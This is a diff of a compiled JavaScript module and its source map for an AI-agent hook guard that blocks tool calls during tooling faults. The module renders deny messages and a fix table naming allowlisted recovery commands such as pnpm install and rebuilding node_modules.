+ `OPTION 1 (preferred it needs no other tool and it never prompts) - create ${rules_config_1.CONFIG_FILENAME}\n` +
113
+ 'yourself: any Read, and any Write/Edit whose target is that file, is always allowed through, so\n' +
114
+ 'you can inspect the repo and write it. The validator reports EVERY missing/invalid entry at once\n' +
115
+ '(each with the snippet to paste), so a minimal first draft converges in about two passes.\n' +
116
+ 'OPTION 2 (pick this ONLY at an interactive terminal where you can answer its two prompts) - run\n' +
117
+ 'EXACTLY this command to seed the config: `pnpm exec wp-install-ai-hooks`. It goes on to wire the\n' +
118
+ 'Claude Code hooks and asks for a target twice, which hangs a non-interactive session.\n' +
88
119
  'Do not append anything to the option you pick — the allowlist is anchored to the whole command.';
89
120
  // The first line of the fault-Y deny (built out in runner.checkConfigSync, which appends the per-rule
90
121
  // detail). Kept here so the fault table quotes the same text the runner emits.
91
122
  exports.CONFIG_OUT_OF_SYNC_HEADER = `${rules_config_1.CONFIG_FILENAME} is out of sync — new built-in rules are present that have no entry in ${rules_config_1.CONFIG_FILENAME}.`;
92
- const CONFIG_WRITE_CURE = new L0Cure(rules_config_1.CONFIG_FILENAME, new shim_1.L0Call('Edit', '', `/repo/${rules_config_1.CONFIG_FILENAME}`));
123
+ // Writing/repairing the file yourself. PREFERRED for both config faults, per the config-validation
124
+ // invariant in GUARD_MATRIX.md: every config problem cures to "make the file right", the validator
125
+ // reports all errors at once so the loop converges in a couple of passes, and allowlist entry 2 permits
126
+ // this edit unconditionally. (That section is the authority — do not restate its reasoning here.)
127
+ const CONFIG_WRITE_CURE = new L0Cure(rules_config_1.CONFIG_FILENAME, new shim_1.L0Call('Edit', '', `/repo/${rules_config_1.CONFIG_FILENAME}`), true, 'this fault fires at all — it is the only cure that needs no other tool, and it is never denied');
93
128
  // Cure calls are spelled exactly as the deny messages spell them, so the mention assertion is a real
94
129
  // string search rather than a paraphrase.
95
130
  // webpieces-disable no-function-outside-class -- pure constructor helper for the L0_FAULTS literal below, in this data module
96
- function bashCure(command) {
97
- return new L0Cure(command, new shim_1.L0Call('Bash', command, ''));
131
+ function bashCure(command, preferred, discriminator) {
132
+ return new L0Cure(command, new shim_1.L0Call('Bash', command, ''), preferred, discriminator);
98
133
  }
99
134
  /**
100
135
  * THE six L0 faults, in first-match-wins order. D/X/K are decided in POSIX sh BEFORE the bin runs (a
@@ -102,14 +137,57 @@ function bashCure(command) {
102
137
  * the bin, in JS. One model, two enforcement points.
103
138
  */
104
139
  exports.L0_FAULTS = [
105
- new L0Fault('D', 'version drift — root package.json pin != installed version', 'sh, before the bin runs', 'sh', [bashCure('pnpm install'), bashCure('git pull')], (0, shim_1.renderShim)()),
106
- new L0Fault('X', 'guard bin missing (fresh clone / new worktree / package removed)', 'sh, before the bin runs', 'sh', [bashCure('pnpm install')], (0, shim_1.renderShim)()),
107
- new L0Fault('K', 'guard bin present but CRASHED (exit code not 0 or 2 corrupt node_modules)', 'sh, before the bin runs', 'sh', [bashCure('rm -rf node_modules && pnpm install')], (0, shim_1.renderShim)()),
108
- new L0Fault('S', 'committed .claude/webpieces/ai-hook.sh != renderShim()', 'the guard bin', 'JS', [bashCure('pnpm exec wp-install-ai-hooks'), bashCure('pnpm exec wp-upgrade-shim'),
109
- bashCure('cp node_modules/@webpieces/ai-hook-rules/templates/ai-hook.sh .claude/webpieces/ai-hook.sh')], (0, shim_1.shimStaleDenyReason)('')),
110
- new L0Fault('C', `${rules_config_1.CONFIG_FILENAME} missing`, 'the guard bin', 'JS', [bashCure('pnpm exec wp-install-ai-hooks'), CONFIG_WRITE_CURE], exports.CONFIG_MISSING_REPORT),
140
+ new L0Fault('D', 'version drift — root package.json pin != installed version', 'sh, before the bin runs', 'sh', [
141
+ // `pnpm install` clears D in BOTH directions it makes installed == pin by definition so
142
+ // it is always the preferred cure. The direction only decides whether the PIN is the version
143
+ // you WANT, which is what the second cure is for.
144
+ bashCure('pnpm install', true, 'node_modules is OLDER than the pin, OR you are on a feature branch and want YOUR '
145
+ + 'branch pin (usually the case) it always clears the drift'),
146
+ bashCure('git pull', false, 'node_modules is NEWER than the pin AND you are on main — the PIN is the stale side, so '
147
+ + 'pull first and install second; a bare install would downgrade you'),
148
+ ], (0, shim_1.renderShim)()),
149
+ new L0Fault('X', 'guard bin missing (fresh clone / new worktree / package removed)', 'sh, before the bin runs', 'sh', [bashCure('pnpm install', true, 'this fault fires at all — nothing is installed in THIS tree, and a new git worktree '
150
+ + 'copies no node_modules')], (0, shim_1.renderShim)()),
151
+ new L0Fault('K', 'guard bin present but CRASHED (exit code not 0 or 2 — corrupt node_modules)', 'sh, before the bin runs', 'sh', [bashCure(shim_1.RECOVERY_CMD, true, 'this fault fires at all — a BARE pnpm install SKIPS the corrupt package, because pnpm sees '
152
+ + 'the right version on disk and considers it installed; only the delete forces a rewrite')], (0, shim_1.renderShim)()),
153
+ new L0Fault('S', 'committed .claude/webpieces/ai-hook.sh != renderShim()', 'the guard bin', 'JS', [
154
+ // --sync, not the bare bin: runInstaller() calls healShim() as STEP 1 (before it even loads
155
+ // setup), and setup.main() returns on `--sync` before the two interactive wireHook prompts.
156
+ // So it heals and exits. The BARE spelling prompts twice and hangs a non-interactive agent,
157
+ // which is why it is not a cure here at all.
158
+ bashCure(shim_1.INSTALL_HOOKS_SYNC_CMD, true, 'you are on a current release — it re-arms the shim as step 1 and returns before the '
159
+ + 'interactive hook wiring, so it is the only non-interactive spelling'),
160
+ bashCure(shim_1.UPGRADE_SHIM_CMD, false, 'you want the shim regenerated and NOTHING else; needs installed '
161
+ + '@webpieces/ai-hook-rules 0.4.408 or newer'),
162
+ bashCure(shim_1.RESTORE_SHIM_CMD, false, 'the installed @webpieces/ai-hook-rules is OLDER than 0.4.408, so wp-upgrade-shim does '
163
+ + 'not exist yet — this works on every release'),
164
+ ], (0, shim_1.shimStaleDenyReason)('')),
165
+ new L0Fault('C', `${rules_config_1.CONFIG_FILENAME} missing`, 'the guard bin', 'JS', [
166
+ CONFIG_WRITE_CURE,
167
+ // Kept, but demoted: it seeds the file and then PROMPTS twice. `--sync` is NOT an option for
168
+ // this fault — with no file to read it prints "nothing to sync" and exits.
169
+ bashCure(shim_1.INSTALL_HOOKS_CMD, false, 'you are at an INTERACTIVE terminal and can answer its two hook-target prompts'),
170
+ ], exports.CONFIG_MISSING_REPORT),
111
171
  new L0Fault('Y', `a loaded rule has no ${rules_config_1.CONFIG_FILENAME} key`, 'the guard bin', 'JS', [CONFIG_WRITE_CURE], exports.CONFIG_OUT_OF_SYNC_HEADER),
112
172
  ];
173
+ /**
174
+ * One fault's FIX section, rendered from its `cures` array — literal commands only, never prose.
175
+ *
176
+ * This is the half that used to live in hand-written docs and drift. The three fields of L0Cure map
177
+ * onto the three things a blocked reader needs and nothing else: WHAT to type (the call), WHETHER it is
178
+ * the default (preferred), and WHEN to pick a sibling instead (discriminator). A cure with no
179
+ * discriminator would render as a menu of equals, which is how an agent picks the wrong one.
180
+ */
181
+ // webpieces-disable no-function-outside-class -- pure string builder for renderGuardMatrixDoc below, beside the arrays it reads
182
+ function renderFixSection(fault) {
183
+ const options = fault.cures.map((cure, i) => {
184
+ // A Bash cure is the command verbatim; a tool-shaped one is the file it edits (allowlist entry 2).
185
+ const literal = cure.isCommand() ? `\`${cure.call.command}\`` : `edit \`${cure.mention}\` yourself`;
186
+ const label = cure.preferred ? `Option ${i + 1} (preferred)` : `Option ${i + 1}`;
187
+ return `- **${label}**: ${literal} ← pick this when ${cure.discriminator}`;
188
+ });
189
+ return [`### \`${fault.code}\` — ${fault.name}`, '', ...options, ''];
190
+ }
113
191
  /**
114
192
  * Render webpieces.guard-matrix.md from L0_FAULTS + L0_ALLOWLIST.
115
193
  *
@@ -139,6 +217,24 @@ function renderGuardMatrixDoc() {
139
217
  'First match wins. `D`/`X`/`K` are decided in POSIX `sh` inside the committed shim, BEFORE the',
140
218
  'guard bin runs — a stale, missing or broken validator cannot be trusted to validate itself.',
141
219
  '',
220
+ '## The fix, per fault',
221
+ '',
222
+ 'Every command below is rendered from that fault\'s `cures` array and is asserted, by unit test,',
223
+ 'to be accepted by `isAllowed()` — so nothing here can be a command the guard then rejects. Type',
224
+ 'the option you pick EXACTLY as written and run nothing else on that line.',
225
+ '',
226
+ ...exports.L0_FAULTS.flatMap(renderFixSection),
227
+ ...renderMatrixAndAllowlist(),
228
+ ].join('\n');
229
+ }
230
+ /**
231
+ * The second half of the doc: the three-row matrix and the ONE allowlist. Split out of
232
+ * renderGuardMatrixDoc solely to keep it inside the method-line budget — the join order is what makes
233
+ * the two halves one file, so keep them adjacent and keep the byte-lock test as the arbiter.
234
+ */
235
+ // webpieces-disable no-function-outside-class -- second half of renderGuardMatrixDoc's string, beside it in this module
236
+ function renderMatrixAndAllowlist() {
237
+ return [
142
238
  '## The matrix',
143
239
  '',
144
240
  'L0 has NO genuine second dimension. Every branch reduces to one question:',
@@ -184,7 +280,7 @@ function renderGuardMatrixDoc() {
184
280
  'Add an entry to `L0_ALLOWLIST` in `packages/tooling/ai-hook-rules/src/bin/shim.ts`. That array is',
185
281
  'the single source for the JS allowlist, the `grep -E` inside the rendered shim, and this file.',
186
282
  '',
187
- ].join('\n');
283
+ ];
188
284
  }
189
285
  /**
190
286
  * Drop the matrix doc where the AI can read it, and return its absolute path ('' if it could not be
@@ -1 +1 @@
1
- {"version":3,"file":"l0-matrix.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/core/l0-matrix.ts"],"names":[],"mappings":"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","sourcesContent":["import { CONFIG_FILENAME, writeTemplate } from '@webpieces/rules-config';\n\nimport { L0AllowEntry, L0Call, L0_ALLOWLIST, renderShim, shimStaleDenyReason } from '../bin/shim';\nimport { toError } from './to-error';\n\n// ---------------------------------------------------------------------------\n// L0 — the TOOLING-INTEGRITY layer, as data.\n//\n// L0 is the outermost guard: it blocks work while node_modules, the committed shim, or\n// webpieces.config.json are in a state that makes every OTHER guard untrustworthy. It has SIX faults\n// and — drawn as a decision matrix — NO genuine second dimension:\n//\n// fault present AND call not on the allowlist -> BLOCK(messageFor(fault))\n//\n// so the only thing that varies per fault is the MESSAGE. This module holds the fault table and\n// renders it, together with L0_ALLOWLIST (../bin/shim), into webpieces.guard-matrix.md — the doc the\n// deny messages point the AI at. Doc and code come from the SAME arrays, so they cannot drift.\n// ---------------------------------------------------------------------------\n\n/**\n * The doc L0's deny messages point at. Lives in @webpieces/rules-config/templates alongside the others,\n * and is written to <root>/.webpieces/instruct-ai/ lazily, only on an L0 BLOCK.\n *\n * That generated doc is the AUTHORITY for the fault table and the allowlist (same arrays, cannot\n * drift). GUARD_MATRIX.md at this repo's root is the hand-written companion: it adds L0's evaluation\n * ORDER, the use cases and the known gaps, and it documents L1, none of which are rendered from code.\n * Change L0_FAULTS or L0_ALLOWLIST and the generated doc follows automatically — GUARD_MATRIX.md does\n * not, so update it in the same PR.\n */\nexport const GUARD_MATRIX_DOC = 'webpieces.guard-matrix.md';\n\n/**\n * One CURE for a fault: the exact call, plus the `mention` that must appear in that fault's deny text.\n *\n * Both halves are asserted (l0-matrix.spec.ts): the call must be accepted by isAllowed(), and the deny\n * message must actually name it. That pairing is the anti-deadlock invariant — a message that\n * prescribes a command the allowlist rejects is exactly the shape of the three deadlocks CLAUDE.md\n * records, and it is how the dead `wp-setup-ai-hooks` bin in the config-missing text was caught.\n */\nexport class L0Cure {\n constructor(\n readonly mention: string,\n readonly call: L0Call,\n ) {}\n}\n\n/** One L0 fault. Data-only → a class, per CLAUDE.md. */\nexport class L0Fault {\n constructor(\n readonly code: string,\n readonly name: string,\n readonly detectedBy: string,\n readonly enforcedIn: string,\n readonly cures: readonly L0Cure[],\n /**\n * The artifact carrying this fault's deny text. For S/C/Y that is the deny string itself; for\n * D/X/K the text is built in POSIX sh inside the rendered shim, so it is the rendered shim —\n * the same bytes the consumer runs, which is what the mention assertion needs to search.\n */\n readonly denyText: string,\n ) {}\n}\n\n// The deny for fault C, and the ONLY message L0 has for a repo with no webpieces.config.json at all.\n// Moved here from runner.ts so the fault table and the runner cannot state different cures.\n//\n// It used to name `./node_modules/.bin/wp-setup-ai-hooks` — a bin that HAS NOT EXISTED since it was\n// renamed to wp-install-ai-hooks. So the one command this deny prescribed was (a) not installable and\n// (b) not on the L0 allowlist in that spelling, i.e. the AI was handed a cure it could neither run nor\n// get past the guard. Now it names the installer that actually seeds the config AND is entry 8 of the\n// allowlist, and it says out loud that writing the config yourself is allowed through.\nexport const CONFIG_MISSING_REPORT =\n `${CONFIG_FILENAME} not found — the webpieces guards cannot run without it, so every other tool call is blocked.\\n` +\n 'THIS IS NOT A DEADLOCK: both options below are explicitly allowed through while this guard is up.\\n' +\n 'OPTION 1 - run EXACTLY this command to seed the config (it also re-arms the hooks): `pnpm exec wp-install-ai-hooks`.\\n' +\n `OPTION 2 - create ${CONFIG_FILENAME} yourself: any Read, and any Write/Edit whose target is\\n` +\n `${CONFIG_FILENAME}, is always allowed through, so you can inspect the repo and write it.\\n` +\n 'Do not append anything to the option you pick — the allowlist is anchored to the whole command.';\n\n// The first line of the fault-Y deny (built out in runner.checkConfigSync, which appends the per-rule\n// detail). Kept here so the fault table quotes the same text the runner emits.\nexport const CONFIG_OUT_OF_SYNC_HEADER =\n `${CONFIG_FILENAME} is out of sync — new built-in rules are present that have no entry in ${CONFIG_FILENAME}.`;\n\nconst CONFIG_WRITE_CURE = new L0Cure(CONFIG_FILENAME, new L0Call('Edit', '', `/repo/${CONFIG_FILENAME}`));\n\n// Cure calls are spelled exactly as the deny messages spell them, so the mention assertion is a real\n// string search rather than a paraphrase.\n// webpieces-disable no-function-outside-class -- pure constructor helper for the L0_FAULTS literal below, in this data module\nfunction bashCure(command: string): L0Cure {\n return new L0Cure(command, new L0Call('Bash', command, ''));\n}\n\n/**\n * THE six L0 faults, in first-match-wins order. D/X/K are decided in POSIX sh BEFORE the bin runs (a\n * stale, missing or broken validator cannot be trusted to validate itself); S/C/Y are decided inside\n * the bin, in JS. One model, two enforcement points.\n */\nexport const L0_FAULTS: readonly L0Fault[] = [\n new L0Fault('D', 'version drift — root package.json pin != installed version',\n 'sh, before the bin runs', 'sh',\n [bashCure('pnpm install'), bashCure('git pull')], renderShim()),\n new L0Fault('X', 'guard bin missing (fresh clone / new worktree / package removed)',\n 'sh, before the bin runs', 'sh',\n [bashCure('pnpm install')], renderShim()),\n new L0Fault('K', 'guard bin present but CRASHED (exit code not 0 or 2 — corrupt node_modules)',\n 'sh, before the bin runs', 'sh',\n [bashCure('rm -rf node_modules && pnpm install')], renderShim()),\n new L0Fault('S', 'committed .claude/webpieces/ai-hook.sh != renderShim()',\n 'the guard bin', 'JS',\n [bashCure('pnpm exec wp-install-ai-hooks'), bashCure('pnpm exec wp-upgrade-shim'),\n bashCure('cp node_modules/@webpieces/ai-hook-rules/templates/ai-hook.sh .claude/webpieces/ai-hook.sh')],\n shimStaleDenyReason('')),\n new L0Fault('C', `${CONFIG_FILENAME} missing`,\n 'the guard bin', 'JS',\n [bashCure('pnpm exec wp-install-ai-hooks'), CONFIG_WRITE_CURE], CONFIG_MISSING_REPORT),\n new L0Fault('Y', `a loaded rule has no ${CONFIG_FILENAME} key`,\n 'the guard bin', 'JS',\n [CONFIG_WRITE_CURE], CONFIG_OUT_OF_SYNC_HEADER),\n];\n\n/**\n * Render webpieces.guard-matrix.md from L0_FAULTS + L0_ALLOWLIST.\n *\n * A unit test locks the committed template byte-identical to this output, the same way\n * templates/ai-hook.sh is locked to renderShim(). That is what makes the doc assertable instead of\n * aspirational: the table in the doc IS the array the guard consults.\n */\n// webpieces-disable no-function-outside-class -- pure string builder over the two exported arrays, beside them in this module\nexport function renderGuardMatrixDoc(): string {\n return [\n '# webpieces guard matrix — L0 (tooling integrity)',\n '',\n 'GENERATED from `L0_FAULTS` + `L0_ALLOWLIST` in `@webpieces/ai-hook-rules`. Do not hand-edit —',\n 'a unit test locks this file byte-identical to `renderGuardMatrixDoc()`, so the table below is',\n 'the array the guard actually consults, not a description of it.',\n '',\n 'L0 is the OUTERMOST guard layer. It blocks work while `node_modules`, the committed shim, or',\n '`webpieces.config.json` are in a state that makes every other guard untrustworthy. If you are',\n 'reading this, one of the six faults below fired and named this file.',\n '',\n '## The faults',\n '',\n '| code | fault | detected by | enforced in |',\n '|---|---|---|---|',\n ...L0_FAULTS.map((f: L0Fault): string => `| \\`${f.code}\\` | ${f.name} | ${f.detectedBy} | ${f.enforcedIn} |`),\n '',\n 'First match wins. `D`/`X`/`K` are decided in POSIX `sh` inside the committed shim, BEFORE the',\n 'guard bin runs — a stale, missing or broken validator cannot be trusted to validate itself.',\n '',\n '## The matrix',\n '',\n 'L0 has NO genuine second dimension. Every branch reduces to one question:',\n '',\n '| # | fault | on the allowlist? | outcome |',\n '|---|---|---|---|',\n '| 1 | none | — | hand down to the next guard layer |',\n '| 2 | any | yes | PASS or ALLOW (see the entry) |',\n '| 3 | any | no | BLOCK — **only the message varies by fault** |',\n '',\n 'The tool is not a dimension either: \"any Read\" is an allowlist ENTRY, not a tool check.',\n '',\n '## The allowlist',\n '',\n 'ONE list, consulted identically by all six faults. A cure that cannot help a given fault also',\n 'cannot hurt it, and gating each entry on a fault is what produced four real defects (a stale',\n 'shim that denied `pnpm install` and `git pull`; faults that denied every Read; a config fault',\n 'that denied `rm -rf node_modules && pnpm install` while allowing a bare `pnpm install`).',\n '',\n '| # | allowed | outcome |',\n '|---|---|---|',\n ...L0_ALLOWLIST.map((e: L0AllowEntry, i: number): string => `| ${i + 1} | ${e.label} | ${e.kind.toUpperCase()} |`),\n '',\n '- **PASS** — L0 has no objection; the call falls THROUGH so the downstream guards still judge it.',\n '- **ALLOW** — terminal; bypasses everything, because a cure must stay reachable even when a',\n ' downstream guard would block it.',\n '',\n 'Every Bash entry is anchored to the WHOLE command. A leading `cd <dir> &&`, a trailing `2>&1`',\n 'and a pipe into `tail`/`head` are tolerated; nothing else is. Appending `&& git status` makes it',\n 'a DIFFERENT command and it is rejected again — that is not the guard refusing its own cure.',\n '',\n '`git merge` is deliberately NOT on this list. Main is merged ONLY through the 3-point fork merge',\n '(`pnpm wp-start-update`, or `pnpm wp-start-upsert-pr` when a PR is already open).',\n '',\n '## Known asymmetry',\n '',\n 'Under `S`/`C`/`Y` the guard bin IS running, so a PASS really does fall through to the downstream',\n 'guards. Under `D`/`X`/`K` the bin is never executed, so there is nothing to fall through to and a',\n 'PASS degenerates into a terminal allow — reads are unguarded during those three faults.',\n '',\n '## Widening L0',\n '',\n 'Add an entry to `L0_ALLOWLIST` in `packages/tooling/ai-hook-rules/src/bin/shim.ts`. That array is',\n 'the single source for the JS allowlist, the `grep -E` inside the rendered shim, and this file.',\n '',\n ].join('\\n');\n}\n\n/**\n * Drop the matrix doc where the AI can read it, and return its absolute path ('' if it could not be\n * written). Called from the L0 BLOCK path so the deny can say `READ <path>`.\n *\n * Best-effort by design: this runs while the tree is already known-broken, and a missing template (an\n * @webpieces/rules-config older than this package) must degrade the deny message, never replace it\n * with a crash.\n */\n// webpieces-disable no-function-outside-class -- sibling of renderGuardMatrixDoc in this module\nexport function writeGuardMatrixDoc(workspaceRoot: string): string {\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n return writeTemplate(workspaceRoot, GUARD_MATRIX_DOC);\n } catch (err: unknown) {\n const error = toError(err);\n void error; // best-effort: no doc → the deny simply omits the pointer\n return '';\n }\n}\n\n/** The `READ <path>` pointer appended to an L0 deny, or '' when the doc could not be written. */\n// webpieces-disable no-function-outside-class -- sibling of writeGuardMatrixDoc in this module\nexport function guardMatrixPointer(docPath: string): string {\n if (docPath === '') return '';\n return ` The full L0 guard matrix - all six faults and everything that is allowed through - is at ${docPath}; READ it if you are unsure why this call was blocked.`;\n}\n"]}
1
+ {"version":3,"file":"l0-matrix.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/core/l0-matrix.ts"],"names":[],"mappings":";;;AA6NA,oDA8BC;AAmED,kDASC;AAID,gDAGC;AA9UD,0DAAyE;AAEzE,sCAGqB;AACrB,yCAAqC;AAErC,8EAA8E;AAC9E,6CAA6C;AAC7C,EAAE;AACF,uFAAuF;AACvF,qGAAqG;AACrG,kEAAkE;AAClE,EAAE;AACF,gFAAgF;AAChF,EAAE;AACF,gGAAgG;AAChG,qGAAqG;AACrG,+FAA+F;AAC/F,8EAA8E;AAE9E;;;;;;;;;GASG;AACU,QAAA,gBAAgB,GAAG,2BAA2B,CAAC;AAE5D;;;;;;;GAOG;AACH,MAAa,MAAM;IAGF;IACA;IAKA;IAKA;IAbb,yDAAyD;IACzD,YACa,OAAe,EACf,IAAY;IACrB;;;OAGG;IACM,SAAkB;IAC3B;;;OAGG;IACM,aAAqB;QAXrB,YAAO,GAAP,OAAO,CAAQ;QACf,SAAI,GAAJ,IAAI,CAAQ;QAKZ,cAAS,GAAT,SAAS,CAAS;QAKlB,kBAAa,GAAb,aAAa,CAAQ;IAC/B,CAAC;IAEJ,qGAAqG;IACrG,SAAS;QACL,OAAO,IAAI,CAAC,IAAI,CAAC,QAAQ,KAAK,MAAM,CAAC;IACzC,CAAC;CACJ;AArBD,wBAqBC;AAED,wDAAwD;AACxD,MAAa,OAAO;IAEH;IACA;IACA;IACA;IACA;IAMA;IAXb,YACa,IAAY,EACZ,IAAY,EACZ,UAAkB,EAClB,UAAkB,EAClB,KAAwB;IACjC;;;;OAIG;IACM,QAAgB;QAVhB,SAAI,GAAJ,IAAI,CAAQ;QACZ,SAAI,GAAJ,IAAI,CAAQ;QACZ,eAAU,GAAV,UAAU,CAAQ;QAClB,eAAU,GAAV,UAAU,CAAQ;QAClB,UAAK,GAAL,KAAK,CAAmB;QAMxB,aAAQ,GAAR,QAAQ,CAAQ;IAC1B,CAAC;CACP;AAdD,0BAcC;AAED,qGAAqG;AACrG,4FAA4F;AAC5F,EAAE;AACF,oGAAoG;AACpG,sGAAsG;AACtG,uGAAuG;AACvG,sGAAsG;AACtG,uFAAuF;AACvF,EAAE;AACF,sGAAsG;AACtG,kGAAkG;AAClG,uGAAuG;AACvG,uGAAuG;AACvG,kGAAkG;AAClG,uGAAuG;AACvG,0FAA0F;AAC7E,QAAA,qBAAqB,GAC9B,GAAG,8BAAe,iGAAiG;IACnH,qGAAqG;IACrG,+EAA+E,8BAAe,IAAI;IAClG,mGAAmG